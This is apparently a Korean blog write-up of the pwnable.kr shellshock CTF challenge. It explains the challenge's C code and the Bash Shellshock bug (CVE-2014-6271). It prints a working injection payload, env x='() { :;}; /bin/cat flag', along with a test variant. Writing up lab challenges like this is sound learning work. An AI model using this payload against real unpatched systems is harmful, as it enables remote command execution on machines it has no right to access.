본문 바로가기
pwnable

[Toddler's Bottle] shellshock

by 미스터 J 2024. 5. 11.
반응형

mistake와 같이 1점짜리 문제다. 우선 코드를 보자


#include <stdio.h>

int main(){

        setresuid(getegid(), getegid(), getegid());

        setresgid(getegid(), getegid(), getegid());

        system("/home/shellshock/bash -c 'echo shock_me'");

        return 0;

}


모르는 것을 정리해보자

setresuid(real uid, effective uid, saved uid) 를 변환하는 함수이다.

unprivileged process - 각 UID를 현재 프로세스의 각 UID로 설정(=수정불가)

privileged processes(=CAP_SETUID 권한보유) - 각 UID를 임의 값으로 설정 가능

성공 0, 에러 -1   리턴

getegid() : 현재 프로세스의 유효(effective) 그룹 ID를 리턴

-c 옵션이 있으면 문자열에서 명령을 읽는다. 문자열 뒤에 인수가 있으면 $ 0부터 위치 매개 변수에 지정된다.

shellshock : 리눅스 계열 OS에서 주로 사용하는 GNU Bash에서 공격자가 원격에서 악의적인 시스템 명령을 실행할 수 있는 취약점

 

다음은 write-up을 참고한다. 일반적으로 보던 유형이 아니어서 그런지 쉬운것도 어렵게 느껴진다.

shellshock 취약점 진단 코드가 따로 있었다.

env x='() {:;}; echo hi' ./bash

보안기사를 공부하면서 많이 봤었던 코드인데, 실제로 보니까 많이 낯설다. 앞으로 pwnable에 많이 등장할것같다.

env x='() { :;}; /bin/cat flag' ./shellshock

해당코드를 입력하면 flag를 볼 수 있다.

 

정리

bash 취약점은 env x='() { :;}; 를 입력하는것으로 간단히 진단할 수 있다.

  1. env x = (함수명) {수행코드}; 환경변수를 등록하는 코드
  2. /bin/cat flag' ./shellshock  는 무시되거나 오류를 발생해야 하지만 실제로는 수행이 되어 화면상에 출력된다.

전형적인 입력값 유효성 검증이 정상적으로 수행되지 않은 버그로서 다양한 공격이 가능하다.

https://m.blog.naver.com/renucs/220144713558

 

Bash 취약점(CVE-2014-6271) 원리 및 공격기법의 이해

올 해 Heart Bleed 이후 가장 파급력이 크다는 bash 쉘쇼크(Shell shock) 취약점으로 인해 며칠 간 보안...

blog.naver.com

방대한 공격인 만큼 짧은 시간에 다 파악할 수는 없을 것 같다.

이정도로 마무리 짓자.

반응형

'pwnable' 카테고리의 다른 글

[Toddler's Bottle] random  (0) 2024.05.11
[Toddler's Bottle] mistake  (0) 2024.05.11
[Toddler's Bottle] black jack  (0) 2024.05.11
[Toddler's Bottle] cmd1  (0) 2024.05.11
[Toddler's Bottle] lotto  (0) 2024.05.11